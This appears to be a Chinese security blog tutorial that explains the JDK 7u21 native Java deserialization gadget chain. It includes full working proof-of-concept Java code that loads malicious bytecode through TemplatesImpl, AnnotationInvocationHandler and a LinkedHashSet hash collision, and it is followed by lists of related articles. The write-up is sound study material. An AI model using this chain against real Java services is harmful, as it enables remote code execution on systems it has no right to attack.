java原生链利用

在上一个文章中我们利用Java原生链进行shiro的无依赖利用;

针对在没有第三方库的时候,我们该如何进行java反序列化;

确实存在一条不依赖第三方库的java反序列化利用链;但它适用于jdk7u21;

原理:

我们都知道在java反序列化中最核心的地方在于最后可以触发动态命令执行的地方;

比如cc链中的transform链和是TemplatesImp的动态加载字节码;

其实从广义上来说反序列化最终目的是为了触发 "我们可以进行的一些"操作";

命令执行是一种目的 urldns链也是一种目的,最终都是通过反序列化的一系列触发来达到我们要实现的目的;也就是漏洞利用的目的;

简单来说,如果最终目的是进行文件读取,就找到可以文件读取的地方;通过路径回溯,拼接然后通过java反序列串联这个路径最终达到文件读取的目的

但大多数java反序列化和命令执行是绕不开的,正因为它足够自由,在一定的限度下允许我们最大限度的拼接;最后达到命令执行的目的;

在jdk7u21这条链中的最终目的也是命令执行;

那么该怎么达到这个目的呢?

既然是原生链;我们会找一些原生类中的触发命令执行的地方

这个路径依赖于到AnnotationInvocationHandler类的equalsImpl方法;

源码如下

  private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
for(Method var5 : this.getMemberMethods()) {
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
} if (!memberValueEquals(var7, var8)) {
return false;
}
} return true;
}
}

从代码中!this.type.isInstance(var1)可以知道当type是接口时,会进入else;会通过type.getDeclaredMethods() 遍历type接口的所有方法;

代码中 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);是判断是否是实现了AnnotationInvocationHandler接口的 注解类,是就进行强制转换不是就返回null

当type不是实现了AnnotationInvocationHandler接口的注解类时返回null,调用 var5.invoke(var1);

所以当type = Templates.class(非实现了AnnotationInvocationHandler接口的非注解接口)时:

遍历返回的就是接口中声明的两个方法:

  1. newTransformer()
  2. getOutputProperties()

也就是说,当 var1 是恶意构造的 TemplatesImpl 对象时,反射调用其 newTransformer()getOutputProperties() 会触发字节码加载。

我们知道在 type是作为 注解类参数存在的,因此要想触发equalsImpl 方法中的遍历必须让注解类参数为Templates.class

也就是

InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

那么如何调用equalsImpl方法并自动触发呢?

我们在AnnotationInvocationHandler的invoke方法发现调用了equalsImpl方法

invoke方法我们知道在在cc1链的lazymap版本中是关键一环;

回顾之前的内容

AnnotationInvocationHandler是一个InvocationHandler的实现类;

可以作为动态代理的"处理器"

而我们都知道InvocationHandler是一个接口,他只有一个方法就是invoke:

public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

当 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到这个InvocationHandler的invoke方法

而AnnotationInvocationHandler是它的实现类,当使用AnnotationInvocationHandler作为处理器时;就会执行到AnnotationInvocationHandler的invoke方法

这就是代理转发;简单来说就是使用InvocationHandler处理器处理被代理类的方法;

事实上这里代理类型和实现的接口并不重要;关键是转发;因为equal是Object中的方法,所有的类都继承这个方法;只需要proxy是一个接口类型即可

也就是说:动态代理对象的 equals() 方法被调用时,会路由到 AnnotationInvocationHandler.invokeequalsImpl

package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception { //动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); String zeroHashCodeStr = "f5a5a608"; // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler); proxy.equals(templates); }
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
}
}

如何在反序列化中自动调用equals方法呢?

找到反序列化过程中自动调用了equals方法的类,可以查找这个方法的用例(是在太多了);

所以猜测equals函数的类常常会进行元素间的比较;目的用于去重或者排序;

而去重我们自然而然可以想到 集合数据结构(元素之间不允许有重复)set ->hashset,有关的还有hashtable,hashmap

它们的底层其实都是hashmap,为了避免hash冲突,hashmap的底层又被设计成数组+链表;

数组的每一个元素都是一个链表,当数组的key经过hashcode计算发生冲突时,会通过链表插入冲突的key 也就是key1,key2这样;

在其源码reobject方法中我们可看到它的源码中使用hashmap的 map.put对key进行去重操作

我们发现当实例化对象是LinkeHashset时,map的值为LinkeHashset否则为HashMap

我们跟进put方法(jdk7u21)

我们希望 key.equals值为 templates(上文中的字节码对象),我们可以看到k的值来源于e.key,当key==e.key时 ;e来源于数组中已经存在的键值;

table[i];而i=hash;也就是说 templates的值==e.key时触发;而e.key是有遍历table[i]中得来;

因此触发条件是发生hash冲突也就是,处于数组的同一条链表上;

因此我们就需要构造与templates hash值相等的对象;

我们构造proxy对象和templates对象的hash相等

我们可以看到hash的值来源于hashcode,我们只需要让两者的hashcode相等

但TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的;所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode()

而在反序列化过程中,调用proxy.hashCode()会调用AnnotationInvocationHandler的invoke,从而调用 hashcodeImpl()

我们跟进hashcodeImpl源码

  private int hashCodeImpl() {
int var1 = 0; for(Map.Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
} return var1;
}

这段代码会遍历map数组所有的元素的keu和value;

但当只有一个key和value的时候就只计算一次

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());

但我们知道0异或任何数,是任何数,取key.hashcode=0时

var1就会只取value.hashcode的值;

当value.hashcode为TemplateImpl值时,proxy的hash=TemplateImpl的hash

因此我们构造一个key.hashcode=0的对象作为proxy.key(var3.getKey())的值,TemplateImpl对象作为proxy.value(var3.getValue())的值

二者hashcode就相等了

找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:

public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}

最后得到字符串

f5a5a608

payload

package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception { //动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); String zeroHashCodeStr = "f5a5a608"; // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "123");
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler); // proxy.equals(templates);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy); // 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
System.out.println(proxy.hashCode()==templates.hashCode());//此時二者相等
System.out.println(map.hashCode()==proxy.hashCode());//此時二者相等
System.out.println(templates.hashCode()==map.hashCode());//此時二者相等 ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(set);
oss.close(); // System.out.println(outputStream); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
}
}

总结:这篇文章讲了java原生链的利用;

通过在AnnotationInvocationHandler中找到 equalsImpl方法发现 当type为非AnnotationInvocationHandler注解类接口时,会遍历传进来的非注解接口的方法;于是我们构造Templates类,发现在invoke中调用了这个方法,于是我们通过动态代理来代理让AnnotationInvocationHandler作为处理器,这样执行的方法就会转发给AnnotationInvocationHandler的invoke处理;我们发现当被代理类执行equals方法时就会执行invoke,但在无法显示执行时,我们在Hashset中发现进行了去重,在其map.put中调用了equals方法;且当两个对象的hashcode相等时触发equals方法;于是我们构造proxy的hashcode等于templates的hashcode也就是使用0异或任何数结果为0进行构造 得到f5a5a608的hashcode为0 ;调用map.put(zeroHashCodeStr, templates)使其相等;在反序列化进行去重计算的时候二者的hashcode相等;

流程梳理:

首先实例化一个templates类;

创建一个hashmap

使用AnnotationInvocationHandler进行包装 传入非AnnotationInvocationHandler注解类Template.class

使用动态代理,目的是触发AnnotationInvocationHandler->invoke->equalsImpl

新建 Hashset对象

添加两个对象templates ,proxy

map.put时会使两个对象的hashcode相等,原理是map是proxy的被代理对象,操作map相当于操作proxy,因此 map.put(zeroHashCodeStr, templates);就返回templates.hashcode=proxy.hashcode了;在反序列化时会再计算一次,发现两者相等触发equals,再触发invoke,触发equalsImpl;再触发invoke加载恶意字节码;

------------------------备注----------------------

参考 :p牛->知识星球->代码审计->java系列文章

java原生链利用的更多相关文章

  1. Java安全之C3P0链利用与分析

    Java安全之C3P0链利用与分析 0x00 前言 在一些比较极端情况下,C3P0链的使用还是挺频繁的. 0x01 利用方式 利用方式 在C3P0中有三种利用方式 http base JNDI HEX ...

  2. 使用Java原生代理实现AOP

    ### 本文由博主柒.原创,转载请注明出处 ### 完整源码下载地址 [https://github.com/MatrixSeven/JavaAOP](https://github.com/Matri ...

  3. android 学习随笔二十七(JNI:Java Native Interface,JAVA原生接口 )

    JNI(Java Native Interface,JAVA原生接口) 使用JNI可以使Java代码和其他语言写的代码(如C/C++代码)进行交互. 问:为什么要进行交互? 首先,Java语言提供的类 ...

  4. java责任链模式及项目实际运用

    1.前言 上次我们认识了java责任链模式的设计,那么接下来将给大家展示责任链模式项目中的实际运用.如何快速搭建责任链模式的项目中运用. 2.简单技术准备 我们要在项目中使用借助这样的几个知识的组合运 ...

  5. Java 原生日志 java.util.logging

    简介 Java 中的 Logging API 让 Java 应用可以记录不同级别的信息,它在debug过程中非常有用,如果系统因为各种各样的原因而崩溃,崩溃原因可以在日志中清晰地追溯,下面让我们来看看 ...

  6. JAVA防盗链在报表中的应用实例

    今天我们来聊聊Java防盗链,多说无用,直接上应用案例. 这里所用的工具是报表软件FineReport,搭配有决策系统(一个web前端展示系统,主要用于权限控制),可以采用java防盗链的方式来实现页 ...

  7. 【Java】Java原生的序列化和反序列化

    写一个Java原生的序列化和反序列化的DEMO. 需序列化的类: package com.nicchagil.nativeserialize; import java.io.Serializable; ...

  8. 使用Java原生代理实现数据注入

    本文由博主原创,转载请注明出处 完整源码下载地址 https://github.com/MatrixSeven/JavaAOP 上一篇,咱们说了使用Java原生代理实现AOP的简单例子,然么就不得不说 ...

  9. 分布式架构探索 - 1. RPC框架之Java原生RMI

    1. 什么是RPC RPC(Remote Procedure Call)即远程过程调用,指的是不同机器间系统方法的调用,这和 同机器动态链接库(DLL)有点类似,只不过RPC是不同机器,通过网络通信来 ...

  10. Java实现链式存储的二叉查找树(递归方法)

    二叉查找树的定义: 二叉查找树或者是一颗空树,或者是一颗具有以下特性的非空二叉树: 1. 若左子树非空,则左子树上所有节点关键字值均小于根节点的关键字: 2. 若右子树非空,则右子树上所有节点关键字值 ...

随机推荐

  1. 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构

    概述 先看下面的图片,我们去旅游选择出行模式有很多种,可以骑自行车.可以坐汽车.可以坐火车.可以坐飞机. 作为一个程序猿,开发需要选择一款开发工具,当然可以进行代码开发的工具有很多,可以选择Idea进 ...

  2. [Qt 基础-01] QPushButton

    QPushButton 简介 QPushButton是一个很常用的一个按钮控件,主要用于创建一个可按压的按键.它显示了一 个文本和一个图标.另外,你也可以在创建时,指定一个快捷键. 基本用法 1. 创 ...

  3. DeepSeek 多模态大模型 Janus-Pro 本地部署教程

    下载模型仓库 git clone https://github.com/deepseek-ai/Janus.git 国内下载仓库失败时,可以使用以下代理: git clone https://gith ...

  4. mac zsh终端 goframe gf 别名冲突

    前言 如果你使用的是 zsh 终端,可能会存在 gf 别名冲突( git fetch 快捷指令) 解决 终端运行 alias gf=gf,gf 工具会自动修改 .zshrc 中的别名设置,source ...

  5. MFC非模态对话框的关闭

    如果要在点击按钮的情况下,销毁非模态对话框,只需要把按钮的事件映射到OnCancel函数, 里面调用DestroyWindow(), 然后重写PostNCDestroy(), delete 指针. 另 ...

  6. Docker,vs2019下 使用.net core创建docker镜像 遇到的一些问题

      步骤主要分为以下几步: 1.创建docker for linux 的.netcore 项目(vs 自动创建了dockerfile 如果没有需要自己创建在根目录下) 2.编译项目到指定目录下 3.b ...

  7. FireDAC 下的批量 SQL 命令执行

    一.{逐条插入} procedure TForm1.Button1Click(Sender: TObject); const strInsert = 'INSERT INTO MyTable(Name ...

  8. Model Context Protocol

    MCP is an open protocol that enables AI models to securely interact with local and remote resources ...

  9. Redis实现高并发场景下的计数器设计

    大部分互联网公司都需要处理计数器场景,例如风控系统的请求频控.内容平台的播放量统计.电商系统的库存扣减等. 传统方案一般会直接使用RedisUtil.incr(key),这是最简单的方式,但这种方式在 ...

  10. springboot整合websocket实现消息推送

    ​最近想起之前项目里面的一个实现,是关于订阅推送的,当粉丝订阅了大V或者说作者发布的内容被评论和点赞之后,对应的用户会受到通知,当然,本身系统用户并不多,所以直接采用的是轮训的方式,由前端这边定时向后 ...